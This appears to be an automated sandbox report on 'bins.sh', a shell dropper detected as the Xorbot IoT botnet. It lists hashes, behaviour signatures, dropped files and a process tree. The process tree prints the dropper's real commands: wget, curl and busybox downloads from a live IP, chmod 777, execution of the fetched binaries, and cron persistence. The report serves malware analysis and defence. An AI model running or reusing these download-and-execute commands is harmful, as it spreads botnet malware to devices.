Analysis

  • max time kernel
    150s
  • max time network
    105s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/11/2024, 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1eec8b924791416fd0d003d6fe8c75b1

  • SHA1

    28d94b5fd6256a58a2706a2cafa995c79134f8b7

  • SHA256

    eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9

  • SHA512

    29aefaae8864ccc9f62ed56590ee88389667cfd2d3e7f66e4b95e7ae96f7ac17636e5c82eec1ab51a3f3c889f2da670a3a3e141d76600ca8dc29f214f7744827

  • SSDEEP

    192:b6JCklhxUMcZQlK28aqCaDnRqCaDnllhxUM+JCjK2A:bClhxUMcZQlK28aqCaDnRqCaDnllhxUL

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          ./RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            ./mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Executes dropped EXE
            PID:757
          • /bin/rm
            rm mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:770
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:789
            • /bin/chmod
              chmod 777 P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • File and Directory Permissions Modification
              PID:791
            • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              ./P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              • System Network Configuration Discovery
              PID:792
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:794
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:795
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:797
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:798
                • /bin/rm
                  rm P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
                  2⤵
                  • System Network Configuration Discovery
                  PID:800
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                  2⤵
                    PID:803
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                    2⤵
                      PID:804
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                      2⤵
                      • Writes file to tmp directory
                      PID:805
                    • /bin/chmod
                      chmod 777 OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:806
                    • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                      ./OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                      2⤵
                      • Executes dropped EXE
                      PID:807
                    • /bin/rm
                      rm OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                      2⤵
                        PID:809
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                          PID:810

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /var/spool/cron/crontabs/tmp.gDWFeR

                        Filesize

                        210B

                        MD5

                        bf1c75cef53bdcd262f45da3371ccd3f

                        SHA1

                        1893e1ea8a73dfa17d005ecc11cb085c74ab6a25

                        SHA256

                        c965cf983e1988743f6403c75f0b71de03e2453c9d69c2f369e3b889a38ac18c

                        SHA512

                        6cf96cd70df47cc4575dc160732d6dfbff0a96e008ae30bbe294970f25988c0cd9e27c659f656828efe31858158ed0aa6a90bd35376decf52513b31e4b66cdf3